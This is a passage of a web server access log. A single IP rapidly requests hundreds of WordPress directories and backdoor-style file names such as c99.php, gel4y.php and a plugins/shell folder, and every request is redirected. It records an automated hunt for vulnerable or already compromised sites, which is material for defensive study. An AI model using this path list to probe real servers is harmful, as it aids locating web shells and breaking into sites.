"GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:36 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:36 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:36 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:36 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:37 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:37 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:37 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:37 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:37 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:38 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:38 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:38 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:38 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:39 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:39 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:39 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:39 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:40 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:40 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:40 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:40 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:41 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:41 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:41 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:41 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:41 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:42 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:42 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:42 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:42 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:43 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:43 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:43 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:43 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:44 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:44 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:44 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:44 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:44 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:45 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:45 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:45 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:45 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:46 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:46 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:46 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:46 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:46 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:47 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:47 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:47 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:47 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:48 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:48 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:48 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:48 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:49 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:49 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:49 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:49 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:49 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:50 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:50 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:50 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:50 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:51 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:51 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:52 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:52 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:52 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:53 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:53 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:53 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:53 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:53 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:54 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:54 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:54 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:54 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:55 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:55 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:55 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:55 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:56 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:56 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:56 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:56 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:57 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:57 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:57 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:57 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:58 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:58 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:58 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:58 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:59 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:59 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:59 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:41:59 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:00 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:00 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:00 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:00 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:01 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:01 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:01 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:02 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:02 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:02 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:02 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:03 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:03 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:03 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:03 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:04 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:04 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:04 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:05 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:05 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:05 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:05 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:06 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:06 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:06 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:07 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:07 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:07 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:08 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:08 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:09 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:09 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:09 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:09 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:10 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:10 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:10 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:11 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:11 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:11 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:11 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:12 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:12 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:12 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:12 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:13 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:13 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:13 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:14 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:14 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:14 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:15 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:15 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:15 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:16 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:16 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:16 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:16 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:17 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:17 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:17 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:17 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:18 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:18 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:18 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:19 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:19 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:19 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:19 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:20 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:20 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:20 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:21 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:21 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:21 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:22 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:22 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:23 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:23 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:23 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:23 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:24 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:24 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:24 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:25 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:25 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:25 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:26 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:26 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:26 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:26 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:27 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:27 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:27 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:27 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:28 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:28 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:28 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:28 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:29 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:29 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:29 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:29 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:30 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:30 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:30 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:30 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:30 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:31 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:31 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:31 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:31 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:32 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:32 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:32 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:32 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 13.82.231.149 - - [16/Apr/2025:08:42:33 -0400] "GET /index.php HTTP/1.1" 301 795 